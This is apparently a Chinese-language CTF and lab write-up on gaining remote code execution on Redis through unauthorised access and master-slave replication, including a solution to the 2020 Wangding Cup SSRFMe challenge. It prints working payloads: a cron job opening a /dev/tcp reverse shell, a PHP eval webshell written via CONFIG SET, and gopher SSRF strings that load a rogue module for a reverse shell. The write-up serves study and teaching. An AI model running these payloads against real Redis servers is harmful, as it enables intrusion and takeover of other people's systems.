redis主从复制RCE

  1. 1. 简介
  2. 2. Redis主从复制
  3. 3. 通过主从复制 GetShell
  4. 4. [网鼎杯 2020 玄武组]SSRFMe
  5. 5. Reference

简介

Remote Dictionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。

Redis被攻击主要是因为一些配置不当导致,如未授权访问/弱口令.

针对redis的攻击有很多种,最常见的是通过写入文件getshell

1
2
3
4
5
6
7
8
9
10
redis-cli -h 192.168.230.131
set d "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.230.128/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD '<?php eval($_GET[0]);?>'
BGSAVE

这种利用方式也依赖crontab/ssh服务,在docker这种单一容器中很难利用.

在2019年的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大 .

攻击场景:

  • 能够访问远程redis的端口(直接访问或者SSRF)
  • 对redis服务器可以访问到的另一台服务器有控制权

Redis主从复制

preview

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点 . 这是一种以空间置换时间的分布式的工作方案, 可以减轻主机缓存压力,避免单点故障

通过数据复制,Redis 的一个 master 可以挂载多个 slave,而 slave 下还可以挂载多个 slave,形成多层嵌套结构。所有写操作都在 master 实例中进行,master 执行完毕后,将写指令分发给挂在自己下面的 slave 节点。slave 节点下如果有嵌套的 slave,会将收到的写指令进一步分发给挂在自己下面的 slave

开启主从复制三种方式:

1
2
3
4
配置文件: 在从服务器的配置文件中加入:slaveof <masterip> <masterport>
启动命令: redis-server启动命令后加入 --slaveof <masterip> <masterport>
客户端命令: Redis服务器启动后,直接通过客户端执行命令:slaveof <masterip>
<masterport>,则该Redis实例成为从节点。

工作流程:

image-20210410204011183

通过主从复制 GetShell

漏洞详细利用原理和利用代码编写方式: https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件

加载so文件:

1
MODULE LOAD /path/to/mymodule.so

利用exp和so文件代码: https://github.com/vulhub/redis-rogue-getshell

复现环境: https://github.com/vulhub/vulhub/tree/master/redis/4-unacc

image-20210410211156174

直接用POC打即可

[网鼎杯 2020 玄武组]SSRFMe

参考https://blog.csdn.net/weixin_43610673/article/details/106457180

image-20210410212927686

exp.so: https://github.com/n0b0dyCN/redis-rogue-server

恶意server: https://github.com/xmsec/redis-ssrf , 这里生成的payload是协议控制, 比较麻烦. 可以使用文本控制.

gopher://0.0.0.0:6379/_auth%2520root%250aconfig%2520set%2520dir%2520%252ftmp%252f%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250Aconfig%2520set%2520dbfilename%2520exp.so%250Aslaveof%2520127.0.0.1%25206666%250Aquit

image-20210410220831562

gopher://0.0.0.0:6379/_auth%2520root%250Amodule%2520load%2520%252Ftmp%252Fexp.so%250Asystem.rev%2520127.0.0.1%25206663%250Aquit

(可以写shell脚本防止exp.so传输中断)

image-20210410221540933

flag{f0512f8c-0df8-4ba7-b21c-01feaaabdc14}

Reference

https://paper.seebug.org/975/

https://blog.csdn.net/weixin_45551083/article/details/107570654

https://blog.csdn.net/weixin_45551083/article/details/107443073

https://xz.aliyun.com/t/5616#toc-0

https://segmentfault.com/a/1190000018268350

http://yulige.top/?p=775#i-13 郁离歌

https://xz.aliyun.com/t/5616#toc-0 Redis 4.x RCE分析